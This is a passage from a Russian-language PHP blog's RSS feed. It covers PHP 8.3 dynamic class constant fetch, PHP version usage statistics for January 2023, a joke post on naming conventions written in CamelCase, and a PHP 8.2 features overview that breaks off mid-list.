echo Invoice::{$constName}; //"complete"</code></pre><p>До PHP 8.3&nbsp;<span style="font-size: 1rem;">синтаксис&nbsp;</span><span style="font-size: 1rem;">доступа к константам класса</span><span style="font-size: 1rem;">&nbsp;</span><b>ClassName::{$varName}</b>&nbsp;был невозможен и приводил к синтаксической ошибке:</p><p>&nbsp;</p><pre class="line-numbers"><code class="language-php">Parse error: syntax error, unexpected token ";", expecting "(" in ... on line ...</code></pre><p> То же ограничение применялось и к <a href="https://sergeymukhin.com/blog/php-81-enums-perecisleniya" target="_blank">Enum</a>, где было невозможно получить&nbsp;<span style="font-size: 1rem;">динамически&nbsp;</span>элемент Перечисления:&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">enum MyEnum: int {
    case MyElement = 42;
}

$enumName = 'MyElement';

echo MyEnum::{$enumName}-&gt;value;</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">Parse error: syntax error, unexpected token "-&gt;", expecting "(" in ``` on line ```</code></pre><p>Единственным способом динамического доступа к константам класса и элементам Enum до PHP 8.3 была функция&nbsp;<span style="font-size: 1rem;"><b>constant()</b></span>:</p><p><br></p><pre class="line-numbers"><code class="language-php">echo \constant("MyClass::$constName");
echo \constant("MyEnum::$enumName")-&gt;value;</code></pre><p>Теперь в PHP 8.3 код будет валиден и выполняться как ожидается.&nbsp; &nbsp;</p><p>Выражение внутри {} не ограничивается только полным именем переменной. Допускается любое выражение, возвращающее строковое значение:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyClass {
    public const MY_CONST = 42;
}

$constPrefix = 'MY_';

echo MyClass::{$constPrefix . 'CONST'};</code></pre><h2>Неопределенная константа и поведение Enum</h2><p>Нет никаких изменений в поведении при попытке доступа к неопределенной константе класса или элементу Enum. Оба они приводят к ошибке&nbsp;<span style="font-size: 1rem;">неопределенной</span><span style="font-size: 1rem;">&nbsp; константы</span>:</p><p><br></p><pre class="line-numbers"><code class="language-php">Fatal error: Uncaught Error: Undefined constant MyEnum::MyMembers in ...:...</code></pre><h2>Магическая константа ::class</h2><p>Магическая константа&nbsp;<span style="font-size: 1rem;">:<b>:class</b></span>, которая возвращает полное имя класса Class/Enum, также разрешены с новым синтаксисом:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo {}

$constant = 'class';
echo Foo::{$constant}; // "Foo"</code></pre><h2>Ошибки типа</h2><p>Попытка получить константу класса или элемент Enum с выражением, возвращающим любой тип, кроме как string вызывает&nbsp;<span style="font-size: 1rem;">исключение</span>&nbsp;TypeError:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo {}

$constant = 16;
echo Foo::{$constant};</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">Fatal error: Uncaught TypeError: Cannot use value of type int as class constant name in ...:...</code></pre><h2>Влияние обратной совместимости</h2><p>До версии PHP 8.3&nbsp;<span style="font-size: 1rem;">синтаксис&nbsp;</span><b>ClassName::{$constantName}</b> был запрещен и приводил к синтаксическим ошибкам. Приложения PHP, использующие этот синтаксис, не будут работать в старых версиях PHP.</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/82</guid>
                <pubDate>2023-02-01T11:15:04+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Статистика версий PHP - выпуск 2023.1]]></title>
                <link>https://sergeymukhin.com/blog/statistika-versii-php-vypusk-20231</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Статистика версий PHP - выпуск 2023.1</h1><blockquote>Итак первый отчет в этом году об используемых версий в PHP</blockquote><p>Предыдущее издание можно прочитать <a href="https://sergeymukhin.com/blog/statistika-versii-php-vypusk-2022-2" target="_blank">здесь</a>.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Как всегда, важно отметить, что я работаю с публично доступными всем данными. Это означает, что эти диаграммы не являются 100% точным представлением сообщества PHP в целом, но они являются точным представлением одной из самых важных частей PHP: </span><a href="https://packagist.org/php-statistics" target="_blank" style="letter-spacing: 0px; font-family: var(--bff); font-weight: 400;">экосистемы Packagist</a><span style="letter-spacing: 0px; font-family: var(--bff);">.</span></p><h2>Статистика использования</h2><p>Давайте начнем с процента&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">используемых сегодня&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">версий PHP,&nbsp; и сравним его с предыдущими тремя изданиями, обратите внимание, что я пропустил все версии, которые не используются более чем на 1%:&nbsp;</span></p><table class="table table-bordered"><tbody><tr><td>Версия<br></td><td>июль 2021 %</td><td>&nbsp;январь 2022 %</td><td>июль 2022 %</td><td>&nbsp;январь 2023 %</td></tr><tr><td>8.2</td><td>0,0<br></td><td>0,0<br></td><td>0,0<br></td><td>4,7<br></td></tr><tr><td><span style="background-color: rgb(255, 255, 255);">8.1</span><br></td><td>0,1<br></td><td>9,1<br></td><td>24,5<br></td><td>38,8<br></td></tr><tr><td><span style="background-color: rgb(255, 255, 255);">8.0</span><br></td><td>14,7<br></td><td>23,9<br></td><td>20,6<br></td><td>16,2<br></td></tr><tr><td>7.4<br></td><td>46,8<br></td><td>43,9<br></td><td>38,4<br></td><td>27,7<br></td></tr><tr><td>7.3<br></td><td>19,2<br></td><td>12,0<br></td><td>8,0<br></td><td>5,3<br></td></tr><tr><td>7.2<br></td><td>10,4<br></td><td>6,6<br></td><td>5,1<br></td><td>4,3<br></td></tr><tr><td>7.1<br></td><td>3,8<br></td><td>2,4<br></td><td>1,9<br></td><td>1,8<br></td></tr></tbody></table><p>Визуализация этих данных выглядит так:</p><p><img src="/files/blog/2023/statistika-versii-php-vypusk-20231-mSnXQD.png"></p><p>Мы видим приличный рост версий PHP 8.*, и думаю это отличная новость! Также приятно видеть, что использование PHP 8.0 уже сокращается: в конце прошлого года PHP 8.0 перешел в режим только исправлений безопасности, и я надеюсь, что в этом году его использование сократится еще больше. Имейте в виду, что поддержка PHP 8.0 прекратит свое существование 26 ноября 2023 года. Поэтому крайне важно, чтобы ваши проекты начали подготовку к обновлению в ближайшие месяцы.</p><p>Версия PHP 7.4 подошла к концу в прошлом году, поэтому в то же время вызывает беспокойство тот факт, что более 25% проектов все еще используют ее! Будем надеяться, что вскоре это число сократится.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Эти данные прекрасно отображают разделение внутри PHP-сообщества: одна часть идет в ногу с современным PHP, а другая остается беспомощно позади. Я знаю, что есть много причин делать это - часто из-за бизнес-требований и ограничений - но очень важно понимать, что из-за этого многие PHP-проекты на самом деле работают в более небезопасных и медленных версиях.</span></p><p>На обзорной диаграмме за все время, вы можете увидеть эволюцию использования версий с течением времени:<br></p><p><img src="/files/blog/2023/statistika-versii-php-vypusk-20231-Lb1GrD.png"></p><p>Как я уже сказал: снижение версии 7.4 происходит слишком медленно, как по мне. Сравните это с гораздо более резким спадом PHP 5.5 в 2015 году, когда был выпущен PHP 7.0: мне бы хотелось, чтобы то же самое произошло и с PHP 7.4 и чтобы люди уже перешли на PHP 8.0, но, к сожалению, это не так.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Мне кажется, что я повторяюсь каждый год, но я очень надеюсь, что в будущем люди обновят свои проекты ка можно раньше. Мне любопытно узнать, как можно помочь этой части PHP-сообщества. Например, такие инструменты, как <a href="https://getrector.com/" target="_blank">Rector</a>, для автоматизации обновлений имеют такой большой потенциал, если бы люди начали их использовать.</span></p><p></p><h2>Требуемые версии</h2><p>Затем используя&nbsp;<a href="https://github.com/nikic/popular-package-analysis" target="_blank">анализатор популярных пакетов Никиты Попова,</a> чтобы загрузить 1000 самых популярных пакетов композитора и использовав небольшой скрипт, чтобы получить их минимальную требуемую версию были получены результаты:</p><p><br></p><p></p><table class="table table-bordered"><tbody><tr><td>Версия<br></td><td>июль 2021</td><td>январь 2022</td><td>июль 2022</td><td>январь 2023</td></tr><tr><td>8.2<br></td><td>-</td><td>-</td><td>-</td><td>-</td></tr><tr><td>8.1<br></td><td>-</td><td>-</td><td>125<br></td><td>129<br></td></tr><tr><td>8.0<br></td><td>117<br></td><td>160<br></td><td>94<br></td><td>103<br></td></tr><tr><td>7.4<br></td><td>56<br></td><td>69<br></td><td>86<br></td><td>98</td></tr><tr><td>7.3<br></td><td>133</td><td>116</td><td>104</td><td>106</td></tr><tr><td>7.2<br></td><td>142</td><td>133</td><td>130</td><td>144</td></tr><tr><td>7.1<br></td><td>182</td><td>190</td><td>153</td><td>159</td></tr><tr><td>7.0<br></td><td>31</td><td>29</td><td>29</td><td>30</td></tr><tr><td>5.6<br></td><td>61</td><td>49</td><td>42</td><td>43</td></tr><tr><td>5.5<br></td><td>43</td><td>42</td><td>35</td><td>37</td></tr><tr><td>5.4<br></td><td>41</td><td>43</td><td>40</td><td>40</td></tr><tr><td>5.3<br></td><td>97</td><td>83</td><td>77</td><td>78</td></tr><tr><td>5.2<br></td><td>12</td><td>10</td><td>10</td><td>10</td></tr></tbody></table><p></p><p>Здесь необходимо сделать два важных замечания.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">В этой таблице указана минимальная требуемая версия. Логично, что ни один из 1000 пакетов еще не поддерживает PHP 8.2, так как он вышел совсем недавно.</span><br></p><p>Если вы посмотрите даты, вы заметите, что между каждым годом есть некоторые различия. Не для каждого пакета указана версия, поэтому не все 1000 пакетов можно проанализировать.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Вместо того, чтобы сравнивать абсолютные числа, лучше нанести эти данные на диаграмму для относительного сравнения, чтобы мы могли видеть изменения с течением времени:</span><br></p><p><img src="/files/blog/2023/statistika-versii-php-vypusk-20231-noI77A.png"></p><p>Вы можете видеть небольшое увеличение требований PHP 7.*. Это хорошая эволюция, но все же очень медленная по сравнению с тем, как быстро движется вперед PHP.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">На мой взгляд, авторы пакетов должны настаивать на том, чтобы требовались только поддерживаемые версии PHP. Я думаю, что это единственный способ для PHP двигаться вперед с приличной скоростью, а для сообщества - не отставать. Вдобавок ко всему: ежегодные обновления гораздо проще делать, чем, например, оставаться на PHP 7.4 и пытаться сразу перейти на PHP 8.2.</span><br></p><p>В заключение, если вы что-то почерпнете из этого поста, я надеюсь, что это то что пришло время обновиться как минимум до PHP 8.1, а лучше до PHP 8.2. Это не так сложно, как вы думаете, и определенно стоит вашего времени .<br></p><br><p></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/80</guid>
                <pubDate>2023-01-12T08:43:17+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[ЧтоВыДумаетеОПравилах НаименованииМетодовИПеременных?]]></title>
                <link>https://sergeymukhin.com/blog/chtovydumaeteopravilakhnaimenovanii-metodoviperemennykh</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">ЧтоВыДумаетеОПравилах НаименованииМетодовИПеременных?</h1><blockquote>НеНужноНедооцениватьЦенностьЧитабельностиКода</blockquote><p>ПрограммистыНеДолжныНедооцениватьЦенностьЧитабельностиКода.СегодняМыПоговоримЕщеРазПроОбщиеПрактики,КоторыеВсеМы,Кажется, ПринимаемЗаДолжное: НаименованиеПеременныхИМетодов.</p><p>ВродеТакаяНезначительнаяНаПервыйВзглядВещь,Верно?КакойКейсОбычноИспользуютПрограммисты<span style="font-size: 1rem;">ЧтобыСвязатьСлова</span>:Верблюжий,ЗмеиныйИлиШашлычный(Кебаб), ИВообще, ТакЛиЭтоВажно?</p><p>ЧитаемостьюКодаНеСледуетПренебрегать.ЭтоВлияет,КакЛегкоВыМожетеПеремещатьсяИПониматьСвойИлиЧужойКод.<br></p><p>ИтакЯзыкиРаннегоПрограммированияНеИмелиТехЖеСоглашений,КоторыеМыИмеемСегодня.ТакиеЯзыки,КакLispИCOBOL,ПоявилисьДоШирокойПоддержкиASCII. ПрописныеИСтрочныеБуквы,АТакжеСпециальныеСимволы,ТакиеКакПодчеркивание,ПростоНеПподдерживалисьКомпиляторамиЕщеВНачале50-хИ60-хГодов.<br></p><p>ИЛиспИКоболПозволяютДефисамРазделятьСлова.АнализаторLispБылДостаточноУмен,ЧтобыОпределить,БылЛиДефисМеждуДвумяСловами, ИлиЕгоСледуетИспользоватьВКачествеОператораВычитания.ВCOBOLВКачествеОператоровИспользуются<span style="font-size: 1rem;">ТолькоПолныеСлова</span>,ИНеИмеетЭтуПроблему. ВотПримерВычитанияВКоболе:</p><p><br></p><pre class="line-numbers"><code class="language-c">SUBTRACT data-item-1 FROM data-item-2</code></pre><p>ПосколькуДефисНеЯвляетсяЗарезервированнымКлючевымСловом,ЕгоМожноИспользоватьДляРазделенияСлов.</p><p>КогдаЯзыкиПрограммированияСозрелиВ80-хИ90-хГгодах,СталоЯсно,ЧтоДефисДолженБытьЗарезервированДляМатематическихОпераций.ЕщеОднаПроблемаСУмнымодходомLispЗаключаласьВТом,ЧтоОнНеМасштабировалсяВСовременныхЯзыкахИЗначительноЗамедлялТокенизацию.<br></p><p>Пробелы,Очевидно,НикогдаНеМогутБытьИспользованы,ТакКакПочтиКаждыйЯзыкПрограммированияИспользуетИхВКачествеГраницМеждуТокенами.ТакЧтоЖеОстается?КакМыМожемНаписатьНесколькоСловКакОдно,СохраняяЧитаемостьЭтихСлов?</p><p>ИМыПодошлиКТомуПочемуСегодняМыОсталисьСДвумяОсновнымиСсоглашениями:CamelCase,ЛибоСоСтрочнойБуквыЛибоСЗаглавнойИSnakeCase.КстатиЗаглавныйРегистрCamelCaseТакжеНазываетсяPascalCase.</p><p>ПоБольшейЧастиВКаждомЯзыкеИмеетМестоБытьОдинИзЭтихВариантов.МожноСказатьЧтоЭтоПростоВопросПринциповСообществ(ПриветПайтонистам),ИПокончитьСЭтим.<br></p><p>НоПоднимаяТемуЧитабельностиКодаНеСложноЗаметитьЧтоCamelCaseДелаетТекстБолееТруднымДляЧтенияПоСравнениюСSnakeCase.<br></p><p>ЕслиСравнитьДваНижеСледующихВариантаНаписанияПеременной:</p><p><br></p><pre class="line-numbers"><code class="language-c">userId
user_id</code></pre><p>ВашМозгУжеПодсказываетВамЧтоЕмуЛегчеПрочесть,Верно? :)</p><p>ИЭтоДействительноТак:CamelCaseБолееКомпактен:ВамНеНужноПисатьБольше.НоЭтоНеТотСтильКоторыйБлижеВсегоКТому,КакЧеловеческийМозгНаСамомДелеЧитаетТекст.</p><p>ЭтоСущественныйАргумент,КоторыйИмеетЗначениеВДискуссии:КакСделатьТакЧтобыНашемуМозгуБылоКакМожноПрощеЧитатьИПониматьКод.<br></p><p>ЧитаемыйКодСнижаетКогнитивнуюНагрузку.МеньшаяКогнитивнаяНагрузкаОзначаетБольшеПамятиДляЛюдейЧтобыДуматьОДругихВещах,ТакихКакНаписаниеБизнесЛогики.<br></p><p>"ИВесьПостТолькоОПользеПодчеркивания?" КонечноНет,НеТолькоИз-заЭтого. НаписаниеЧитаемогоКодаНамногоБольше, ЧемСоглашенияОбИименовании. НоТакиеМелочиПомогаютПолучитьБолееЛучшееРешение.<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/8</guid>
                <pubDate>2022-12-30T05:39:15+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Что нового в PHP 8.2]]></title>
                <link>https://sergeymukhin.com/blog/chto-novogo-v-php-82</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Что нового в PHP 8.2</h1><blockquote>PHP 8.2 выпущен 8 декабря 2022 года. В этом посте мы рассмотрим все функции, улучшения производительности, изменения и устаревший функционал</blockquote><h2>null и false как самостоятельные типы <a href="https://wiki.php.net/rfc/null-false-standalone-types" target="_blank">rfc</a></h2><p>Не вдаваясь в тему безопасности типов, технически null и false, сами по себе могут считаться допустимыми типами. Типичными примерами являются встроенные функции PHP, где false используется в качестве возвращаемого типа при возникновении ошибки. Например в file_get_contents:</p><p><br></p><pre class="line-numbers"><code class="language-php">file_get_contents(/* … */): string|false</code></pre><p>Обратите внимание, что использование false в типе объединения уже было ранее возможным, но в PHP 8.2 теперь его можно использовать и как <a href="https://sergeymukhin.com/blog/php-82-true-false-i-null-kak-samostoiatelnye-tipy" target="_blank">самостоятельный отдельный тип false</a>:</p><p><br></p><pre class="line-numbers"><code class="language-php">function alwaysFalse(): false
{
    return false;
}</code></pre><p>Что интересно данный RFC не поддерживает true как отдельный тип, да и разве типы не должны представлять в целом категории вместо отдельных значений? Оказывается, в системах типов существует концепция, называемая единичным типом, то есть тип, допускающий только одно значение. Но действительно ли это полезно и поощряет ли это чистый дизайн приложения? Может быть, а может и нет.</p><p>Автономный null тип имеет немного больше смысла: null может рассматриваться как категория сама по себе, а не просто значение внутри категории. Представьте себе шаблон нулевого объекта:&nbsp;</p><pre class="line-numbers"><code class="language-php">class Post 
{
    public function getAuthor(): ?string { /* … */ }
}

class NullPost extends Post
{
    public function getAuthor(): null { /* … */ }
}</code></pre><p><span style="font-size: 1rem;">&nbsp;</span></p><p><span style="font-size: 1rem;">NullPost::getAuthor()&nbsp;</span>всегда будет возвращать только null, а не null или string, что раньше было невозможно.</p><p><br></p><h2>true как самостоятельный тип <a href="https://wiki.php.net/rfc/true-type" target="_blank">rfc</a></h2><p>Как и предыдущий RFC с возможностью задавать null и false как самостоятельные типы, PHP 8.2 позволяет использовать <a href="https://sergeymukhin.com/blog/php-82-true-false-i-null-kak-samostoiatelnye-tipy" target="_blank">true как отдельный тип</a> и как часть Union Type.&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo {

    private true $processed;

    public function process(string|int|true $value): true {
    }
}</code></pre><p>&nbsp;Конечно же, есть некоторые ограничения, например нельзя использовать&nbsp;&nbsp;true тип в сочетании с&nbsp;<span style="font-size: 1rem;">типом&nbsp;</span>bool, потому что&nbsp;<span style="font-size: 1rem;">тип</span>&nbsp;bool уже включает в себя true. Попытка объявить объединенные типы с bool приводит к фатальной ошибке:</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(true|bool $value) {}

Fatal error: Duplicate type true is redundant in ... on line ...</code></pre><p>Или поскольку&nbsp;<span style="font-size: 1rem;">тип&nbsp;</span>bool по сути такой же, как true|false, использование true|false в качестве типа объединения не допускается:</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(true|false $value) {}

Fatal error: Type contains both true and false, bool should be used instead in ... on line ...</code></pre><p>&nbsp;&nbsp;</p><h2>Классы только для чтения <a href="https://wiki.php.net/rfc/readonly_classes" target="_blank">rfc</a></h2><p>Свойства только для чтения были введены в <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-81" target="_blank">PHP 8.1</a> . Этот RFC основан на них и добавляет синтаксический сахар, чтобы сразу сделать все свойства класса доступными только для чтения. Вместо того, чтобы писать:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Post
{
    public function __construct(
        public readonly string $title, 
        public readonly Author $author,
        public readonly string $body,
        public readonly DateTime $publishedAt,
    ) {}
}</code></pre><p>Можно написать так:</p><p>&nbsp;</p><pre class="line-numbers"><code class="language-php">readonly class Post
{
    public function __construct(
        public string $title, 
        public Author $author,
        public string $body,
        public DateTime $publishedAt,
    ) {}
}</code></pre><p>По сути, функционально сделать<a href="https://sergeymukhin.com/blog/php-82-klassy-tolko-dlia-cteniia-readonly-classes" target="_blank"> класс доступным только для чтения</a> - это то же самое, что сделать каждое свойство доступным только для чтения; но это также предотвратит добавление динамических свойств в класс:</p><p><br></p><pre class="line-numbers"><code class="language-php">$post = new Post(/* … */);

$post-&gt;unknown = 'wrong';</code></pre><p>&nbsp;</p><pre class="line-numbers"><code class="language-php">Uncaught Error: Cannot create dynamic property Post::$unknown</code></pre><h2>Новое расширение Random <a href="https://wiki.php.net/rfc/rng_extension" target="_blank">rfc</a></h2><p>PHP 8.2 добавляет новый генератор случайных чисел, который устраняет множество предыдущих проблем: он более производительный, более безопасный, его легче поддерживать и он не зависит от глобального состояния; была произведена работы над устранением ряда трудно обнаруживаемых ошибок при использовании случайных функций PHP.</p><p>Есть новый класс с именем Randomizer, который принимает механизм рандомизатора. Теперь вы можете изменить работу движка, в зависимости от ваших потребностей. Например, чтобы различать "боевую" среду и среду тестирования:</p><p><br></p><pre class="line-numbers"><code class="language-php">$rng = $is_production
    ? new Random\Engine\Secure()
    : new Random\Engine\PCG64(1234);
 
$randomizer = new Random\Randomizer($rng);
$randomizer-&gt;shuffleString('foobar');</code></pre><h2>Типы дизъюнктивных нормальных форм <a href="https://wiki.php.net/rfc/dnf_types" target="_blank">rfc</a></h2><p>Типы DNF позволяют нам комбинировать типы объединения и пересечения, следуя строгому правилу: при объединении типов объединения и пересечения типы пересечения должны быть сгруппированы скобками. На практике это выглядит так:</p><p><br></p><pre class="line-numbers"><code class="language-php">function generateSlug((HasTitle&amp;HasId)|null $post) 
{
    if ($post === null) {
        return '';
    }

    return 
        strtolower($post-&gt;getTitle()) 
        . $post-&gt;getId();
}</code></pre><p>В данном случае это тип дизъюнктивных нормальных форм&nbsp; - (HasTitle&amp;HasId) | null .&nbsp;</p><p>Это приятное дополнение, тем более что оно означает, что теперь у нас могут быть типы пересечений, допускающие значение null, что, вероятно, является наиболее важным вариантом использования этой функции.</p><h2>Константы в трейтах <a href="https://wiki.php.net/rfc/constants_in_traits" target="_blank">rfc</a></h2><p>Теперь вы можете использовать константы в трейтах:</p><p><br></p><pre class="line-numbers"><code class="language-php">trait Foo {
    public const FLAG_1 = 1;
    protected const FLAG_2 = 2;
    private const FLAG_3 = 2;
 
    public function doFoo(int $flags): void {
        if ($flags &amp; self::FLAG_1) {
            echo 'Got flag 1';
        }
        if ($flags &amp; self::FLAG_2) {
            echo 'Got flag 2';
        }
        if ($flags &amp; self::FLAG_3) {
            echo 'Got flag 3';
        }
    }
}</code></pre><p>Вы не сможете получить доступ к константе через имя трейта ни снаружи, ни внутри трейта, однако вы можете получить доступ к константе через класс, который использует трейт, учитывая, что он общедоступен:</p><pre class="line-numbers"><code class="language-php">trait T {
    public const CONSTANT = 42;
 
    public function doSomething(): void {
        // Fatal Error
        echo T::CONSTANT;
 
        // OK
        echo self::CONSTANT;
        echo static::CONSTANT;
        echo $this::CONSTANT;
    }
}
 
class Base {
    use Foo;
}
 
class Child extends Base {
    public function doSomething(): void {
        // OK
        echo parent::CONSTANT;
    }
}
 
// OK
echo Base::CONSTANT;
echo Child::CONSTANT;
echo (new Base)::CONSTANT;
$child = new Child;
echo $child::CONSTANT;
 
// Fatal Error
echo T::CONSTANT;</code></pre><h2>Получение свойств перечислений в константных выражениях <a href="https://wiki.php.net/rfc/fetch_property_in_const_expressions" target="_blank">rfc</a></h2><blockquote>В этом RFC предлагается разрешить использование -&gt;/ ?-&gt; для извлечения свойств перечислений в константных выражениях. Основная причина этого изменения - позволить извлекать свойства имени и значения в местах, где объекты перечисления не разрешены, например, в ключах массива.</blockquote><p>Это означает, что следующий код теперь действителен:</p><p><br></p><pre class="line-numbers"><code class="language-php">enum A: string 
{
    case B = 'B';
    
    const C = [self::B-&gt;value =&gt; self::B];
}</code></pre><p>&nbsp;</p><p><br></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Устаревшие динамические свойства </span><a href="https://wiki.php.net/rfc/deprecate_dynamic_properties" target="_blank" style="font-weight: 700; background-color: rgb(255, 255, 255);">rfc</a><br></p><p>Динамические свойства устарели в PHP 8.2 и будут выдавать ошибку ErrorException в PHP 9.0. Если вы не знаете, что такое динамические свойства, то это свойства, которые не присутствуют в объекте, но тем не менее присваиваются или запрашиваются:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Post
{
    public string $header;
}

// …

$post-&gt;title = 'Заголовок';</code></pre><p>Имейте в виду, что классы реализующие __get и __set будут работать по назначению:&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">class Post
{
    private array $properties = [];
    
    public function __set(string $title, mixed $value): void
    {
        $this-&gt;properties[$title] = $value;<br>    }
}</code></pre><p>То же самое касается объектов stdClass, они будут поддерживать динамические свойства.</p><p>Если вам не нужны эти предупреждения при обновлении до PHP 8.2, вы можете сделать пару вещей.</p><p>Вы можете использовать атрибут для классов, которые должны разрешать эти свойства: <b>#[AllowDynamicProperties]</b></p><p><b><br></b></p><pre class="line-numbers"><code class="language-php">#[AllowDynamicProperties]
class Post
{
    public string $header;
}

// …

$post-&gt;title = 'Заголовок'; //Все пройдет нормально</code></pre><p>Другой вариант — просто отключить предупреждения об устаревших функциях. Я бы не рекомендовал этого делать, так как у вас будут проблемы с PHP 9.0, но вот как вы все равно можете отключить предупреждения об устаревании в PHP:&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-powershell">error_reporting(E_ALL ^ E_DEPRECATED);</code></pre><h2>Редактирование параметров в бэк трейсах <a href="https://wiki.php.net/rfc/redact_parameters_in_back_traces" target="_blank">rfc</a></h2><p>Обычной практикой в ​​любой кодовой базе является отправка производственных ошибок в службу, которая их отслеживает и уведомляет разработчиков, когда что-то пойдет не так. Эта практика часто включает отправку трассировки стека по сети в стороннюю службу. Однако бывают случаи, когда эти трассировки стека могут включать конфиденциальную информацию, такую ​​как переменные среды, пароли или имена пользователей.</p><p>PHP 8.2 позволяет вам помечать такие «конфиденциальные параметры» атрибутом, так что вам не нужно беспокоиться о том, что они будут перечислены в вашей трассировке стека, когда что-то пойдет не так. Вот пример из RFC:</p><p><br></p><pre class="line-numbers"><code class="language-php">function test(
    $foo,
    #[SensitiveParameter] $bar,
    $baz
) {
    throw new Exception('Error');
}
 
test('foo', 'bar', 'baz');</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">Fatal error: Uncaught Exception: Error in test.php:8
Stack trace:
#0 test.php(11): test('foo', Object(SensitiveParameterValue), 'baz')
#1 {main}
  thrown in test.php on line 8</code></pre><h2>Изменения типа возвращаемого значения для DateTime::createFromImmutable() и DateTimeImmutable::createFromMutable()</h2><p>Раньше эти методы выглядели так:</p><p><br></p><pre class="line-numbers"><code class="language-php">DateTime::createFromImmutable(): DateTime
DateTimeImmutable::createFromMutable(): DateTimeImmutable</code></pre><p>В PHP 8.2 эти сигнатуры методов изменены следующим образом:</p><p><br></p><pre class="line-numbers"><code class="language-php">DateTime::createFromImmutable(): static
DateTimeImmutable::createFromMutable(): static</code></pre><p>&nbsp;Это изменение имеет гораздо больше смысла, поскольку оно улучшает возможности статического понимания для классов, расширяющихся от DateTime и DateTimeImmutable. Однако технически это критическое изменение, которое может повлиять на пользовательские реализации, расширяющие любой из этих двух классов.&nbsp;</p><h2>str_split возвращает пустые массивы для пустых строк <a href="https://www.php.net/manual/ru/function.str-split.php" target="_blank">rfc</a></h2><p>До PHP 8.2&nbsp;<span style="font-size: 1rem;">функция&nbsp;</span>str_split неправильно возвращала массив, содержащий пустую строку (""):&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">str_split('') === [""];</code></pre><p>Начиная с PHP 8.2, вызов str_split для пустой строки возвращает пустой массив:&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">str_split('') === [];</code></pre><h2>ksort(..., SORT_REGULAR) изменения порядка сортировки</h2><p>До версии PHP 8.2 ksort буквенные ключи помещались перед числовыми:</p><p><br></p><pre class="line-numbers"><code class="language-php">$array = ["a" =&gt; '', "1" =&gt; '', "b" =&gt; '', "2" =&gt; ''];
ksort($array, SORT_REGULAR);  
var_dump($array);

 ["a" =&gt; '', "b" =&gt; '', "1" =&gt; '', , "2" =&gt; ''];</code></pre><p>&nbsp;Теперь результат будет:</p><p><br></p><pre class="line-numbers"><code class="language-php"> ["1" =&gt; '', "2" =&gt; '', "a" =&gt; '', , "b" =&gt; ''];</code></pre><p><br></p><h2>Устаревание utf8_encode() и utf8_decode() <a href="https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode" target="_blank">rfc</a></h2><p>В PHP 8.2 использование любой функции из utf8_encode() или utf8_decode() вызовет следующие уведомления об устаревании:</p><p><br></p><pre class="line-numbers"><code class="language-php">Deprecated: Function utf8_encode() is deprecated
Deprecated: Function utf8_decode() is deprecated</code></pre><p>RFC утверждает, что эти функции имеют неточное имя, которое часто вызывает путаницу: эти функции преобразуют только ISO-8859-1 и UTF-8, в то время как имя функции предполагает более широкое использование. В <a href="https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode" target="_blank">RFC</a> есть более подробное объяснение рассуждений.</p><p>Альтернатива? RFC предлагает использовать <b>mb_convert_encoding()</b>.</p><p><br></p><h2>Устаревшие частично поддерживаемые вызываемые объекты <a href="https://wiki.php.net/rfc/deprecate_partially_supported_callables" target="_blank">rfc</a>&nbsp;&nbsp;</h2><p>Еще одно изменение, хотя и с немного меньшим влиянием, заключается в том, что частично поддерживаемые вызываемые объекты теперь также устарели. Частично поддерживаемые вызываемые объекты — это вызываемые объекты, которые можно вызывать с помощью call_user_func($callable), но не&nbsp;<span style="font-size: 1rem;">напрямую&nbsp;</span>$callable(). Между прочим, список этих видов коллбеков довольно короткий:</p><pre class="line-numbers"><code class="language-php">"self::method"
"parent::method"
"static::method"
["self", "method"]
["parent", "method"]
["static", "method"]
["Foo", "Bar::method"]
